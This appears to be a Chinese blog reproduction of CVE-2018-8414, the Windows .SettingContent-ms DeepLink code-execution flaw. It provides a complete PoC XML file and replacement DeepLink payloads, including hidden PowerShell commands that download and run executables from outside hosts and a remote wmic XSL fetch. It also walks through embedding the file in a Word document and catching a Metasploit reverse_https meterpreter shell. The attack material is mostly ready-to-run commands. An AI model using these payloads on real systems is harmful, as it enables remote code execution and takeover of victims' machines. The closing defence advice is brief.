Windows Shell远程执行代码漏洞((CVE-2018-8414)复现
0x00 SettingContent-ms文件介绍
.SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行.
文件包含一个<DeepLink>标记,它带有带参数的任何二进制文件并执行它。这可能会导致问题,因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件,该文件为其提供shell命令执行。
0x01 Windows Defender AV ASR Rules
Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。
从以下版本开始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules_Ids功能规则。


而在低于该版本的10240中,Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules_Ids

注意:某些时候漏洞利用失败取决于文件位置(默认策略设置),因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe -install)
C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\
0x02 漏洞复现
1.简单的测试弹出计算器
1.将测试poc文件放入以下目录位置:
C:\Users\admin(用户)
\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN\目录下

2. 点击测试POC文件:
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-</Description>
<Keywords>@shell32.dll,-</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
其他<DeepLink>…</DeepLink>可替换POC:
. %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/
. %SystemRoot%\System32\WindowsPowerShell\v1.\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;"
. powershell-windowstyle hiddle (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
. wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"
3. 点击test. settingcontent-MS,即可弹出calc

2.嵌入到office中弹出计算器
1.创建一个word,这里我就拿offcie 2007来当例子
2.点插入-对象-选择由文件创建

4. 双击图标后即可打开即可弹出计算器、

3.kali下反弹shell
利用脚本下载地址:
https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py
1.在KALI下执行脚本auto_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口
root@kali2018:/opt# python auto_settingcontent-ms.py

2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。


5.开启apache服务。
root@kali2018:/opt# service apache2 start

6.启动msf,然后进行设置IP地址和监听端口以及payload
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https msf exploit(multi/handler) > show options msf exploit(multi/handler) > set lhost 10.250.117.10 msf exploit(multi/handler) > set lport msf exploit(multi/handler) > exploit


7.将生成的Test.SettingContent-ms拷贝出来,然后新建一个test.doc文档,通过插入数据



8.然后点击保持test.docx,并打开该文档点击图标即可反弹。

9.可以看到kali下反弹目标系统shell.


0x03 漏洞影响版本
|
适用于32位系统的Windows 10版本1703 |
远程执行代码 |
重要 |
4338826 |
||||
|
适用于基于x64的系统的Windows 10版本1703 |
远程执行代码 |
重要 |
4338826 |
||||
|
适用于32位系统的Windows 10版本1709 |
远程执行代码 |
重要 |
4338825 |
||||
|
适用于64位系统的Windows 10版本1709 |
远程执行代码 |
重要 |
4338825 |
||||
|
用于32位系统的Windows 10版本1803 |
远程执行代码 |
重要 |
4338819 |
||||
|
适用于基于x64的系统的Windows 10版本1803 |
远程执行代码 |
重要 |
4338819 |
||||
|
Windows Server,版本1709(服务器核心安装) |
远程执行代码 |
重要 |
4338825 |
||||
|
Windows Server,版本1803(服务器核心安装) |
远程执行代码 |
重要 |
4338819 |
||||
0x04 漏洞防御建议
最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外,可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开(https://montour.co/2016/09/group-policy-force-js-files/)。
0x05 参考链接
https://www.t00ls.net/thread-47622-1-1.html
https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
https://github.com/joesecurity/scmwrap
https://github.com/SScyber0/Deeplink_Reverse_TCP
Windows Shell远程执行代码漏洞((CVE-2018-8414)复现的更多相关文章
- HTTP.SYS远程执行代码漏洞分析 (MS15-034 )
写在前言: 在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...
- HTTP.sys远程执行代码漏洞
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...
- CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞
[CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092) Microsoft Internet Explorer是美国微软(Mic ...
- HTTP.SYS 远程执行代码漏洞分析(MS15-034 )
在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...
- 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)
1.1.1 漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...
- IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现
CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...
- CVE-2019-0708远程桌面服务远程执行代码漏洞exp利用过程
CVE-2019-0708远程桌面服务远程执行代码漏洞 上边这洞是啥我就不多说了,描述类的自行百度. 受影响系统版本范围: Windows Server 2008 R2 Windows Server ...
- Microsoft .NET Framework 远程执行代码漏洞
受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...
- HTTP.sys远程执行代码漏洞检测
1.漏洞描述:HTTP 协议栈 (HTTP.sys) 中存在一个远程执行代码漏洞,这是 HTTP.sys 不正确地分析特制 HTTP 请求时导致的.成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任 ...
随机推荐
- CocoStuff—基于Deeplab训练数据的标定工具【三、标注工具的使用】
一.说明 本文为系列博客第三篇,主要展示COCO-Stuff 10K标注工具的使用过程及效果. 本文叙述的步骤默认在完成系列文章[二]的一些下载数据集.生成超像素处理文件的步骤,如果过程中有提示缺少那 ...
- Codeblocks自动代码格式化快捷键(自带)
代码区域右击 点format use AStyle 估计也就是考试竞赛逼着用这个
- MATLAB2018a与2016b分类学习模型Java库向上兼容操作
matlab2016版本无法兼容matlab2018版本Classification Learner创建的分类器 在java环境下,使用matlab2016版本调用matlab2018版本Classi ...
- ef5 数据库操作
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- a标签的href为空的问题
在表格里写一个a标签链接刷新表格的时候,没注意,把a标签的href设置为""空字符串,导致每次刷新表格之后会再刷新一次整体页面,找了很久都没发现问题出在哪里,最后无意之间,鼠标在一 ...
- 北航MOOC系统Android客户端NABC
北航MOOC手机客户端NABC分析 1) N (Need 需求) MOOC是Massive Open Online Course的缩写,通常被译为大型开放式网络课程,它最早在08年的时候由一位加拿大的 ...
- Linux 下Web环境搭建————redis
1.安装编译工具(yum -y install make gcc gcc-c++ ncurses-devel)2 2.安装tcl依赖 yum -y install tcl 3.上传redis安装包并解 ...
- Linux上多次restore Tensorflow模型报错
环境:python3,tensotflow 在恢复了预先训练好的模型进行预测时,第一次是能够成功执行的,但我多次restore模型时,出现了以下问题: 1.ValueError: Variable c ...
- Eclipse+MySQL+Tomcat web开发安装配置
转载文章: 链接:https://blog.csdn.net/bbyyz01/article/details/78142126 1.Eclipse 这里选择Eclipse集成开发环境. 可以直接在官网 ...
- week3a:个人博客作业
1.博客上的问题 阅读下面程序,请回答如下问题: using System; using System.Collections.Generic; using System.Text; namespac ...